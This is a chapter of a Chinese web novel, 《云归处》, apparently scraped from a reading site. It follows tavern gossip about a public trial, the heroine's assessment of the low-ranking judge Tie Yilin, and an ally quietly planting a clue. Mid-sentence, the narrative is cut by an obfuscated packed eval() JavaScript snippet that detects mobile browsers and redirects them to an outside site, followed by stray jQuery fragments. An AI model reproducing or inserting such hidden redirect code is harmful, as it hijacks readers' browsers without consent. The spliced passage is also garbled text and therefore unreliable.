10. 从七品司直
作品:《云归处》 这两日的京都尤其热闹,仁义坊一家小酒馆里,所有人都在议论今天上午大理寺发布的公告。
“听说了吗?两日后就公开审理了。”
“这事我能不知道吗?我跟你说,我亲家的侄子就在大理寺打杂,说是大理寺最近头疼得很,北戎人闹得厉害,天天在那盯着,说什么怕咱们大燕人包庇自己人。”
“呸”旁桌的人也加入了谈话,“他们还真是不要脸啊,他们要欺负咱们大燕姑娘,被弄死那不是活该嘛。”
“就是,我那是不知道,要让我碰上了,我也得揍他们一顿。”一个人义愤填膺的拍了拍桌子。
旁边人起哄:“就你,别吹牛了,平时碰上黄二那个无赖,你看你那怂样。”
那人急了,“那能一样吗?能一样嘛,我那是不和黄二一般计较,北戎人不一样,那是世仇,二十年前我家二爷爷、三爷爷那可是战死在北凉河一役。”
旁边的人显然震惊了,收起了几分轻蔑,“您家祖上竟然是鸿家军的。”
“别听他吹牛,他家祖上也就给鸿家军运送过物资。”知晓他家底细的邻居毫不犹豫的拆台。
一片哄堂大笑中,那人大声辩解:“那怎么了,鸿家军是承认我们的,那是上过鸿英铭文的,老子英雄儿好汉,打北戎人的话我一定第一个报名。”
……
苏星辰坐在最角落的一桌,给箭竹倒了一杯酒。
箭竹一饮而尽,砸吧了砸吧嘴巴,压低了声音,“这两天这风声有点意思吧,好像一夜之间京都的百姓都知道了北戎人被打死的事情,而且连原因都知道了,说是因为北戎人想要欺辱大燕的姑娘。我查了查,来源是各大酒楼的说书人,把这事当最新的时文故事来讲,所以一传十十传百,大家就都知道了。”
苏星辰心头一跳,那天孟云回说要去听书的情景又浮现在眼前,拿着那么多钱去听书,她当时还觉得只是托词,现在看……
“那这次公开审理,是因为民间舆论推动吗?”苏星辰想要弄清楚这一点。
“那倒也不完全是。”箭竹一一分析,“从我得到的消息来说,至少有两个可以明确的原因。
一是民情汹涌,咱们和北戎人那是国仇家恨啊,往前追溯,二十年前谁家还没个亲人死在和北戎人的战争,朝廷不可能不顾及民心。
二是三皇子这两天在朝堂上极力推动要公开审理,说是不可让人觉得我大燕受北戎人胁迫,就算是杀人偿命也要依据大燕的律法而行,必须严肃审理判决。
陛下觉得有道理,就让太子领衔大理寺公开审理。
反正明面上来看主要是这两个原因,但是背后还有没有什么,就不是我能打探出来的。”
苏星辰喝了口酒,真好,她赌对了。
三皇子果然帮忙了,她在纸条里就是陈情希望三皇子帮忙推动公开审理。
只有公开审理,才没有人敢明目张胆的护着北戎人,天营不行,主和派不行,太子也不行。
众目睽睽之下,就看证据了。看证据到底支持哪一边的说法了,只有这样她准备的一切证据才能起作用。
而且通过这个事情,也可以证明三皇子是站在他们这边的,她当时想的是如果推动不了,就只能拜托三皇子想办法把证据呈上朝廷了。
不过现在事情向着最好的方向发展了,不,是更好的方向,现在舆论也站在了他们这一面。
苏星辰忍不住又喝了一杯酒,她平日很少喝酒,两杯下肚,一双眼睛黑亮黑亮的,整张脸晶莹中带着一抹红润,像一颗要熟未熟的苹果,似有似无的散着果香,让旁桌的人都忍不住多看一眼。
箭竹皱了皱眉头,挪了挪位置,挡住了旁桌人的目光。
他暗暗感叹,这还是穿的男装,也难怪队长平日护的紧。这般长相,再长个一两年,怕是要有点祸国殃民的架势了。
箭竹夺过了苏星辰手中的酒杯,“你可别喝了,队长向来不让你喝酒的。”
苏星辰笑的乖巧,“高兴呀。”
箭竹瞥了她一眼,“你别高兴地太早了,这还只是个开始,而且你知道那个主审官是谁吗?”
苏星辰敛了笑意,她确实也想问呢,那个主审官的名字她实在有些陌生,因为办案她对大理寺的一些高级别官员是有些了解的,但是好像没有这个名字。
“好像不太知名,叫什么铁一霖,应该职级并不高吧?”
箭竹点了点头,“何止不高,简直是很低,我今天看了告示就去打探了,这个铁一霖只有从七品,是个司直。”
从七品?苏星辰有些意外,这么大的事情,就安排一个从七品官员来审理,朝廷是什么意思?
难道是不想认真审理?怎么像推出个替罪羊的样子。这样的人能顶住压力,秉公审理吗?
她抿了抿嘴唇,看向箭竹。
箭竹显然也明白苏星辰的疑问,“这个事我打听了一下,定下了公开审理之后,大理寺那帮人是谁都不想上。因为你想啊,这事风险多高。咱们先不论事实,只说结果。如果判了队长无罪,那北戎人是不是会不干,听说边境那确实开始蠢蠢欲动,不排除他们在威胁咱们,但如果真因此引发了两国大战,这事的责任谁也不想担。如果判了队长有罪,你看现在的民意舆论,老百姓都能跑他家门口去扔白菜,这帮文官最重视官声,这污点谁也不愿意沾染,所以最后就落在这个从七品司直的头上了。”
苏星辰突然感觉刚才那两杯酒有点喝早了,这帮文官,推诿扯皮起来,一个顶两,自己是不是不该给予这么大希望呢,“那这人行吗?”
“你可别小看这个人。”箭竹嘬了一口酒,“你想啊,大理寺想随便推一个人出来,也得有足够的理由说服太子和陛下呀。”
“那这个人有些特别之处?”
“嗯,挺特别。”箭竹捡出一枚花生豆放在桌面,“第一,出身捕快世家,他家四代捕快、仵作,也算是家学渊源。”
“这样的背景不算多,但也不算少。”
大燕朝的各种小吏不算少,小吏与官员是不同的,官员选拔靠科举,但小吏中靠着关系等各种因素,代代相传的不算少。
箭竹笑的很有含义,拿出第二颗花生豆放在桌面上,“但是,通过考核,由吏到官的可就是极少了。”
苏星辰终于抬了抬眉头,“由吏到官?”
“对”箭竹也不卖关子,“他不是走的科举,而是由吏到官。不用我说,你也该知道这个难度了,你知道的,小吏中一直有句话,就是千吏难出一官。官和吏本就是两个系统,而且就算有能
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070367|195193||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
从吏升官者,也就止步于八九品了,可他一开始就是从七品。”
“恩荫?”
“不是,他家又不是什么世家贵族,到哪能走恩荫。据说是因功推荐,推荐人是大理寺卿,参加的考试,三轮考试,一次性全过。”
苏星辰眼睛亮了一分,“一把手亲自推荐,那么难的考试一次性全过?”
“对”箭竹点点头,“所以这人应该立过大功,有些真才实学。你知道的,吏升官的难度不亚于科举考试,多少人九年内都考不过三轮,他一次性都过了。”
听起来倒像是有几分才学的,苏星辰暗暗点头。
箭竹又拿出一粒花生摆上,“第三,我从一些小吏中打听到这么一件事,他父亲早亡,只有一个寡母,家世艰难,现在的大理寺卿,当是还不是一把手,看在他家世代为大理寺效力的份上,多有优抚,接济过他家,包括他立功转官,没有大理寺卿的支持肯定是不行的。但他转官以来,接手的第一案就是大理寺卿夫人家的一个远房亲戚杀人案,那个案子本来已经盖棺定论了,凶手的家仆替罪自首了,受害人家属也拿了钱封口认可了,但是就这个从七品的司直,揪着不放,谁说都不好使,死活把案子真相给查出来了,顶着压力给办实了。结果真相是有了,但谁也没念他的好。从那以后就彻底坐了冷板凳,一坐三年,直到现在接了这个烫手的山芋。”
“所以……”苏星辰看向箭竹。
“所以,”箭竹拿起三粒花生,一起放进嘴里脆生生的嚼着,“这人,说不定还真是个角儿,是个不畏强权的杠头啊。”
杠头好啊,不畏强权好啊,若能顶住压力那真是更好不过了。
只不过,一个较真的人,她伪造的这些证据该怎么不留痕迹的出现呢?
苏星辰摸出了一粒糖瓜扔进了嘴里,陷入了沉思。
安康坊,庆余阁。
一个中年女人扶着满头银丝但精神矍铄的老太太走出来,老太太手里还拿着一个盒子。
“陈妈,你说霖儿能喜欢这个生辰礼物吗?”老太太显得有些犹疑,刚才的掌柜的太过热情了,她有些招架不住,出了门有些后悔,她哪懂什么玉质,那掌柜的不会骗她吧,
陈妈安慰道:“您送什么,二爷都会喜欢的,而且虽然这玉质咱们不懂,但是刻的画我可是看的明白,竹报平安,多好的寓意啊,您不就希望二爷平平安安吗?”
老妇人点点头:“是啊,他这人从小就是个犟牛筋,我也不图什么,只要他平平安安就好,今儿就是他的生辰,咱们再去多买点他喜欢的菜。”
两人边说边离开了。
两人走后,孟云回懒散的从街角的阴影处踱了出来,微跛着右腿,步伐很慢,他这腿伤就是这样,走的越慢,跛的越明显,但他显然已经习惯了路人偶尔好奇的目光,毫不在意。
他一手拿着一包卤牛肉,一手端着一个酒壶,咬一口牛肉喝一口酒。
他望向两人远去的方向,鱼饵已经放好了,以那人的性格,只要见到这玉佩就一定会死咬住这条线索不放了,剩下就该让苏星辰“巧合地”遇见她了。
孟云回端着酒壶直接往嘴里灌了一口酒,转身离开。
这酒还是陈老头酿的香呀,以后他儿子接档了,手艺就差点意思了。

